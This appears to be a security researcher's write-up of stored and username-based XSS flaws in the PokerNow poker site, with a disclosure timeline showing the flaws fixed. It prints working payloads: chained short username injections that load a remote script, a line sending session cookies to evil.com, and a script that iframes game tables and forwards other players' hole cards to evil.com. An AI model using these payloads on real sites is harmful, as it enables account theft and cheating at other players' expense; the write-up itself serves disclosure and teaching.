Due to the high-stakes nature and complexity of poker games such as No Limit Hold'em and Pot Limit Omaha, there are only a handful of providers offering online poker software.
PokerNow is a popular free service created by Samuel Simões where anyone can create a table and play with their friends.
Obviously, the integrity of the game is of upmost importance to players.
So let's see what we can do.
I began looking at the Clubs section of the website, where users can host a page helping to manage underlying games, player accounts and balances.
Pop open devtools and...
PokerNow API Client
Well that always makes my job a lot easier!
I've never looked forward to manaully deobfuscating webpack bundles.
renderClubPlayers(div, club) {
if (club.config && club.config.leaderboard) return this.renderLeaderboard(div, club)
let html = []
html.push(`
${this.subheader('Club Players')}
<div class="card-body p-grid-container section-body">
`)
for (let player of club.players) {
let row2 = ''
if (player.hasOwnProperty('chips_balance')) {
row2 = `<div id="p-stack-${player.user_id}">${this.formatted(player.chips_balance, club.use_cents, false, player.credit_limit)}</div>`
}
row2 += `<span class="item-subtext" id="player-role-${player.user_id}">${player.club_role}</span>`
html.push(`
<div class="item">
<a class="nomarkupblack" href="#" onclick="club.showPlayer('${player.user_id}');return false;">
<table>
<tr>
<td nowrap>${this.profileLogo(player, 'profile-image-small', 'profile-image-placeholder-small')}</td>
<td>
<b>${player.display_name}</b><br>
${row2}
...
`)
}
Who needs event listeners or proper templating? Just string together some HTML and through user input directly in there. We can probably find an XSS injection.
htmlEscape(str) {
if (!str) return ''
return str
.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/>/g, '>')
.replace(/</g, '<');
}
...
<div class="tc2 bold">${club.htmlEscape(c.club_name)}</div>
Some user-controlled fields are run through a simple sanitizer similar to PHP's htmlentities. However, it's usage is sporadic and there are several instances of the player's display name or "network username" being passed without sanitization.
I would typically expect a username to not contain special characters like <, >, ', or "
.
But look! I can actually put HTML tags in my username.
Here it's escaped
Here our tag is executed!
And we officially have HTML injection!
Unfortunately for us, PokerNow usernames are limited to 14 characters. This is going to be a challenge to get anything useful... I searched
around for really short XSS payloads but the absolute shortest I could find was <q oncut="<javascript>
, which requires the user to cut and paste on the
field. Not ideal.
After spending an hour attempting to craft the a useful payload, it's back to the hunt.
let buttons = []
if (!isMe) buttons.push(`<a href="#" class="btn btn-success btn-confirm-reject" onclick="club.approveWaitingUser('${this.club.id}', '${player.user_id}', '${player.username}');return false"><i class="fa fa-check fa-outlined"></i></a>`)
buttons.push(`<a href="#" class="btn btn-danger btn-confirm-reject" onclick="club.rejectWaitingUser('${this.club.id}', '${player.user_id}', '${player.username}', ${isMe});return false"><i class="fa fa-times fa-outlined"></i></a>`)
These are buttons for the administrator of a club to accept or reject members. Looks like we also have the username injection here and we're already inside of a Javascript context.
',alert(47))//
BANG!
Although exciting, that alert box isn't going to help out much.
We still need to work in a very constrained space with the 14 character limit, but at least we have a little room for Javascript now.
The goal is to include an external script from our server, which should be possible due to loose CSP rules.
Starting with this, we are a bit over the size limit.
fetch('https://my.server/x.js').then(data => data.text()).then(eval)
Thankfully PokerNow uses jQuery, so the above can be truncated to:
$.getScript('https://my.server/x.js')
And using a cool unicode trick from 1lastBr3ath, we can shrink the URL to something like ㎠.㎺ (only three characters!) which will be expanded to cm2.pw.
$.getScript('//㎠.㎺')
Damn. Still too long... But we can break up the payload into several users like so:
USER1: ',x="getSc")//
USER2: ',y="ript")//
USER3: ',z=$[x+y])//
USER4: ',z('//㎠.㎺'))//
Although it would work, this method requires the club admin to click reject or approve on each account in order. To make this more likely to happen, we can glitch the buttons so that the accounts are never actually removed or approved. Our accounts will annoyingly linger in the queue, as our code is run in the background.
message: `Are you sure you want to <b>APPROVE</b> adding <b>${club.htmlEscape(username)}</b> to the club?`,
Remember the htmlEscape
function? It calls String.replace
on the input. If we pass something like a Number or Function,
the execution will error out and stop.
The cleanest way I found to do this was by appending .at
to the closing quote, making the parameter reference to the String.at function.
'.at,alert())//
Now we wait for the admin to frustratingly click "reject" on all four of our spammy accounts to collect his creds.
The admin needing to click on a bunch of accounts repeatedly is not ideal. We want automatic execution when you hit the page. And we really want it to affect normal players as well as admins.
Let's try some other injection points.
<a class="nomarkupblack" href="/clubs/${c.slug}">
This validation is only client-side!
Works! Although our club URL is glitched
2496 html.push(`<td>${desc}</td>`)
Littered with injections!
Spread it to unprivledged members
let description = options.description || '' // this.club.description || ''
if (description) {
description = `<div class="title-subtext mt8">${description}</div>`
}
let html = `
<table width='100%'>
<tr>
The club description field is also completely unfiltered before being shot into the HTML! The club admin has full control over this field and there is no character limit. It is loaded on every club lobby page.
Testing with a basic XSS payload, the theory is confirmed. This auto-executes after visiting the club page, whether you're a member or admin.
<img src=x onerror="alert('no longer constrained to 14 characters.')" />
<img src=x onerror="fetch(`//evil.com/${btoa(document.cookie)}`)" />
Now for some fun. How can we see them hole cards?
Our script is only executed on the club lobby page, not the game rooms/tables. Which is where we need to be! Our opponents' hole cards are accessible in the DOM on the table page.
Perhaps not the simplest method, but this is what came to mind:
What if instead of a link to the table opening in a new tab, we replace the screen with an iframe containing the table page and pull data from it's contentWindow?
Typically the top window containing an iframe cannot access it's DOM, but we are iframing a page on the same subdomain so SOP need not apply.
document.querySelector('iframe').contentWindow.document.querySelectorAll('.you-player .table-player-cards:not(.hide) .card');
Nice!
Here's the idea:
for (const ele of document.querySelectorAll('.btn.btn-primary.btn-md')) {
const url = ele.href;
ele.href = "#"
ele.target = ""
ele.onclick = () => {
let f = document.createElement('iframe');
f.src = url;
f.style = 'z-index: 9999; width: 100vw; height: 100vh; position: absolute; left: 0; top: 0;';
f.onload = () => {
let cw = document.querySelector('iframe').contentWindow;
setInterval(() => {
const cards = cw.document.querySelectorAll('.you-player .table-player-cards:not(.hide) .card');
if (cards.length < 2) return;
const dc = [cards[0].textContent.substr(0, 2), cards[1].textContent.substr(0, 2)];
const username = cw.document.querySelector('.username').textContent;
fetch("//evil.com/"+username+"/"+dc.join('_'));
}, 1000);
}
document.querySelector('body').appendChild(f);
};
}
Wrap it up into a payload.
<img src=x onerror="eval(atob(`Zm9yICh...07Cn0K`))" />
Aaaannndd, nice!
Now, every player who joins our table will have their hole cards periodically forwarded to my server.
Time to make some hero calls with J4o :)
2024-06-12 Disclosed to PokerNow
2024-06-12 Patch in progress
2024-06-13 Fixed